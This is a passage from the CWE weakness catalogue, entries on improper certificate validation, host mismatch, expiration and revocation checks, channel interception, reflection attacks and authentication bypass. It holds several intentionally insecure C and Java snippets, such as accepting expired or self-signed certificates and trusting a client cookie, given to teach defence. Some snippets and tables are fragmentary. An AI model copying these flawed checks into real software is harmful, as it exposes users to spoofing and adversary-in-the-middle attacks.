cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Example 3:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {  
    foo=SSL_get_verify_result(ssl);  
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))  
        //do stuff
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Example 4:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {  
    // got a certificate, do secret things
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

Example 5:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {  
    // got certificate, host can be trusted  
    //foo=SSL_get_verify_result(ssl);  
    //if (X509_V_OK==foo) ...  
}
```

Note that the code does not call `SSL_get_verify_result(ssl)`, which effectively disables the validation step that checks the certificate.

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2014-1266 | chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AIMT) attack (Apple "goto fail" bug). CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID : 296

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

- Any certificate in the chain is self-signed, unless it the root.
- Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
- An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
- The root certificate has been compromised or authorized to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | | 573 | Improper Following of Specification by Caller | 1186 |
| ChildOf | | 295 | Improper Certificate Validation | 662 |
| PeerOf | | 370 | Missing Check for Certificate Revocation after Initial Check | 845 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|-----------------|------|
| MemberOf | | 1014 | Identify Actors | 2145 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|------|-----------------------|------|
| MemberOf | | 1211 | Authentication Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Non-Repudiation | Hide Activities <i>Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.</i> | |
| Integrity | Gain Privileges or Assume Identity | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | | |
| Access Control | <i>Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.</i> | |

Potential Mitigations

Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.

Demonstrative Examples

Example 1:

This code checks the certificate of a connected peer.

Example Language: C

(bad)

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is

spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.

Observed Examples

CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID : 297

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

This weakness can occur even when the software uses Certificate Pinning, if the software does not verify the hostname at the time a certificate is pinned.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 295 | Improper Certificate Validation | 662 |
| ChildOf |  | 923 | Improper Restriction of Communication Channel to Intended Endpoints | 1656 |
| PeerOf |  | 370 | Missing Check for Certificate Revocation after Initial Check | 845 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1014 | Identify Actors | 2145 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-------------------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>The data read from the system vouched for by the certificate may not be from the expected system.</i> | |
| Authentication Other | Other <i>Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.</i> | |

Detection Methods

Dynamic Analysis with Manual Results Interpretation

Set up an untrusted endpoint (e.g. a server) with which the software will connect. Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the software performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.

Black Box

When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955]. This methodology might be extensible to other technologies.

Potential Mitigations

Phase: Architecture and Design

Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

Demonstrative Examples

Example 1:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C

(bad)

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2012-5810 | Mobile banking application does not verify hostname, leading to financial loss. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5810 |
| CVE-2012-5811 | Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5811 |
| CVE-2012-5807 | Software for electronic checking does not verify hostname, leading to financial loss. |

| Reference | Description |
|----------------------|---|
| | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5807 |
| CVE-2012-3446 | Cloud-support library written in Python uses incorrect regular expression when matching hostname. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3446 |
| CVE-2009-2408 | Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408 |
| CVE-2012-0867 | Database program truncates the Common Name during hostname verification, allowing spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0867 |
| CVE-2010-2074 | Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2074 |
| CVE-2009-4565 | Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4565 |
| CVE-2009-3767 | LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3767 |
| CVE-2012-5806 | Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5806 |
| CVE-2012-2993 | Smartphone device does not verify hostname, allowing spoofing of mail services. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2993 |
| CVE-2012-5804 | E-commerce module does not verify hostname when connecting to payment site. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5804 |
| CVE-2012-5824 | Chat application does not validate hostname, leading to loss of privacy. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5824 |

CWE-298: Improper Validation of Certificate Expiration

Weakness ID : 298

Status: Draft

Structure : Simple

Abstraction : Variant

Description

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 672 | Operation on a Resource after Expiration or Release | 1347 |

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 295 | Improper Certificate Validation | 662 |
| PeerOf |  | 324 | Use of a Key Past its Expiration Date | 730 |
| PeerOf |  | 370 | Missing Check for Certificate Revocation after Initial Check | 845 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1014 | Identify Actors | 2145 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-------------------------|---|------------|
| Integrity Other | Other <i>The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.</i> | |
| Authentication Other | Other <i>Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.</i> | |

Potential Mitigations

Phase: Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
}
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 724 | OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management | 711 | 2052 |
| MemberOf |  | 948 | SFP Secondary Cluster: Digital Certificate | 888 | 2111 |

CWE-299: Improper Check for Certificate Revocation

Weakness ID : 299

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

Extended Description

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 404 | Improper Resource Shutdown or Release | 902 |
| ChildOf |  | 295 | Improper Certificate Validation | 662 |
| ParentOf |  | 370 | Missing Check for Certificate Revocation after Initial Check | 845 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1014 | Identify Actors | 2145 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------------|------|
| MemberOf |  | 1211 | Authentication Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--------------------|---|------------|
| Access Control | Gain Privileges or Assume Identity <i>Trust may be assigned to an entity who is not who it claims to be.</i> | |
| Integrity Other | Other <i>Data from an untrusted (and possibly malicious) source may be integrated.</i> | |
| Confidentiality | Read Application Data <i>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</i> | |

Potential Mitigations**Phase: Architecture and Design**

Ensure that certificates are checked for revoked status.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.

Demonstrative Examples**Example 1:**

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
}
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2011-2014 | LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2014 |
| CVE-2011-0199 | Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0199 |
| CVE-2010-5185 | Antivirus product does not check whether certificates from signed executables have been revoked. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5185 |
| CVE-2009-3046 | Web browser does not check if any intermediate certificates are revoked. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046 |
| CVE-2009-0161 | chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0161 |
| CVE-2011-2701 | chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2701 |

| Reference | Description |
|----------------------|---|
| CVE-2011-0935 | Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0935 |
| CVE-2009-1358 | chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1358 |
| CVE-2009-0642 | chain: language interpreter does not properly check the return value from an OSCP function, allowing bypass using a revoked certificate. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0642 |
| CVE-2008-4679 | chain: web service component does not call the expected method, which prevents a check for revoked certificates. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4679 |
| CVE-2006-4410 | Certificate revocation list not searched for certain certificates. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4410 |
| CVE-2006-4409 | Product cannot access certificate revocation list when an HTTP proxy is being used. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4409 |

CWE-300: Channel Accessible by Non-Endpoint

Weakness ID : 300

Status: Draft

Structure : Simple

Abstraction : Class

Description

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This

can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|--|------|
| ChildOf | | 923 | Improper Restriction of Communication Channel to Intended Endpoints | 1656 |
| ParentOf | | 1324 | Sensitive Information Accessible by Physical Probing of JTAG Interface | 1985 |
| PeerOf | | 602 | Client-Side Enforcement of Server-Side Security | 1235 |
| PeerOf | | 603 | Use of Client-Side Authentication | 1239 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------|------|
| MemberOf | | 1011 | Authorize Actors | 2142 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Adversary-in-the-Middle / AITM :

Man-in-the-Middle / MITM :

Person-in-the-Middle / PITM :

Monkey-in-the-Middle :

Monster-in-the-Middle :

On-path attack :

Interception attack :

Common Consequences

| Scope | Impact | Likelihood |
|---|------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Modify Application Data | |
| Access Control | Gain Privileges or Assume Identity | |
| <i>An attacker could pose as one of the entities and read or possibly modify the communication.</i> | | |

Potential Mitigations

Phase: Implementation

Always fully authenticate both ends of any communications channel.

Phase: Architecture and Design

Adhere to the principle of complete mediation.

Phase: Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

Demonstrative Examples

Example 1:

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Example Language: Java

(bad)

```
Socket sock;  
PrintWriter out;  
try {  
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);  
    out = new PrintWriter(ecoSocket.getOutputStream(), true);  
    // Write data to remote host via socket output stream.  
    ...  
}
```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2014-1266 | chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266 |

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID : 301

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 287 | Improper Authentication | 643 |
| PeerOf |  | 327 | Use of a Broken or Risky Cryptographic Algorithm | 736 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.</i> | |

Potential Mitigations**Phase: Architecture and Design**

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

Phase: Architecture and Design

Let the initiator prove its identity before proceeding.

Demonstrative Examples**Example 1:**

The following example demonstrates the weakness.

Example Language: C

(bad)

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx,buf,len);
    EVP_DigestFinal(&ctx,ret,olen);
    return ret;
}

unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1",password,strlen(password_and_cmd)
    ...
    );
}
```

Example Language: Java

(bad)

```
String command = new String("some cmd to execute & the password")
MessageDigest encer =
MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
```

```
byte[] digest = encer.digest();
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2005-3435 | product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-302: Authentication Bypass by Assumed-Immutable Data

| | |
|------------------------------|----------------------------|
| Weakness ID : 302 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 807 | Reliance on Untrusted Inputs in a Security Decision | 1553 |
| ChildOf |  | 287 | Improper Authentication | 643 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

Demonstrative Examples

Example 1:

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

Example Language: Java

(bad)

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

CWE-303: Incorrect Implementation of Authentication Algorithm

Weakness ID : 303

Status: Draft

Structure : Simple

Abstraction : Base

Description

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

Extended Description

This incorrect implementation may allow authentication to be bypassed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-304: Missing Critical Step in Authentication

| | |
|---------------------------|-----------------------|
| Weakness ID : 304 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software implements an authentication technique, but it skips a step that weakens the technique.

Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-305: Authentication Bypass by Primary Weakness

| | |
|---------------------------|-----------------------|
| Weakness ID : 305 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------|------|
| ChildOf |  | 287 | Improper Authentication | 643 |

| MemberOf |  | 1211 | Authentication Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-------------------------|---|------------|
| Access Control Other | Gain Privileges or Assume Identity Other <i>Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.</i> | |

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness = Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

